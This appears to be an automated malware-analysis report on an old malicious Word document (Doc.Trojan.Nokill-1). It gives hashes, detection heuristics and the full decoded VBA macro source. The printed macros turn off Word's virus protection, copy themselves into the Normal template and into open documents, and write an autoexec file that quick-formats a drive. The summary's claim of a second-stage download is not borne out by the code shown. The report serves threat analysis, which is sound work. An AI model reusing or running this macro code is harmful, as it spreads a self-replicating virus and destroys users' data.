Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0d65ef4479c81189…

MALICIOUS

Office (OLE)

40.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f3a7047c57a513eb6671c89475eef3db SHA-1: a3dcabee90db82032b72f0070783382363d45e99 SHA-256: 0d65ef4479c811898aa0dc6d6c5ae2fb61fee178647dbcd2a2ffba34146167de
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Nokill-1. It contains VBA macros, including an AutoOpen macro, which are designed to disable virus protection. The presence of these macros and the detection signature strongly suggest the document is intended to download and execute a second-stage payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Nokill-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nokill-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3138 bytes
SHA-256: 382b32b739bbbdbd2b7d1a9778784f32d6fb5371da84aae897366398507f504e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Xl"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public WithEvents App As Word.Application

Private Sub App_DocumentChange()
Sae
End Sub



Attribute VB_Name = "Xl1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public WithEvents App As Word.Application

Private Sub App_DocumentChange()
Sae
End Sub



Attribute VB_Name = "CloseA"
Dim X As New Xl
Sub AutoExec()
Set X.App = Word.Application
Options.VirusProtection = False
Sae
End Sub
Sub AutoOpen()
Set X.App = Word.Application
Options.VirusProtection = False
Sae
End Sub
Function man()

Options.VirusProtection = False
If Documents.Count = 0 Then Exit Function

nn = NormalTemplate.VBProject.VBComponents.Count
F1 = True
F2 = True
For k1 = 2 To nn
    If NormalTemplate.VBProject.VBComponents.Item(k1).Name = "CloseA" Then
        F1 = False
    End If
Next
nn = ActiveDocument.VBProject.VBComponents.Count
For k1 = 2 To nn
    If ActiveDocument.VBProject.VBComponents.Item(k1).Name = "CloseA" Then
        F2 = False
    End If
Next

If Documents.Count > 0 And (F1 Or F2) Then
    n1 = Application.VBE.VBProjects.Item(1).VBComponents.Count
    For k1 = 2 To n1
        Application.VBE.VBProjects.Item(1).VBComponents.Item(k1).Export ("c:\test-" + Trim(Str(k)) + "-" + Trim(Str(k1)) + ".bas")
    Next
    
    tt = Dir("c:\test*.bas")
    Do While tt <> ""
        If F2 Then ActiveDocument.VBProject.VBComponents.Import ("c:\" + tt)
        If F1 Then NormalTemplate.VBProject.VBComponents.Import ("c:\" + tt)
        Kill ("c:\" + tt)
        tt = Dir()
    Loop
End If
End Function

Function Sae()
Attribute Sae.VB_Description = "Ìàêðîñ ñîçäàí 03.05.00 1"
Attribute Sae.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.ééééééééééé"
Dim dat As Date
dat = "17.04.00"
If Date < dat Then
    Exit Function
End If
If Dir("c:\nokill.pls") = "nokill.pls" Then
    Exit Function
End If

Open "c:\start" For Output As #1
Print #1, "Y"
Print #1, ""
Close #1

Open "c:\autoexec" For Output As #1
Print #1, "@smartdrv.exe"
Print #1, "@format a: /q <start"
Close #1
man
End Function

Attribute VB_Name = "Xl2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public WithEvents App As Word.Application

Private Sub App_DocumentChange()
Sae
End Sub

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